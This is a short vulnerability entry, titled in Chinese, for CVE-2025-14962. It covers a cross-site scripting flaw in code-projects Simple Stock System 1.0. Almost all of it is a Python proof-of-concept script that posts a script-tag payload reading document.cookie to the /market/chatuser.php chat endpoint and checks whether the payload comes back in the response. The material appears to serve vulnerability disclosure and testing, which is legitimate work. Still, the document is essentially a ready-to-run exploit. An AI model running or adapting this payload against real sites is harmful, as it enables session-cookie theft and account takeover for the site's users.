CVE-2025-14962 code-projects Simple Stock System 1.0 跨站脚本(XSS)漏洞

import requests # CVE-2025-14962 PoC - XSS in Simple Stock System 1.0 /market/chatuser.php # Target URL target_url = "http://target-website.com/market/chatuser.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Data to be submitted data = { "message": xss_payload, "user_id": "attacker_id", "submit": "send" } # Send the malicious request try: response = requests.post(target_url, data=data, timeout=10) print(f"Payload sent to {target_url}") print(f"Status code: {response.status_code}") # Verify if the payload is reflected if xss_payload in response.text: print("Vulnerability confirmed: XSS payload reflected in response") else: print("Payload may have been filtered or not stored") except requests.exceptions.RequestException as e: print(f"Error: {e}")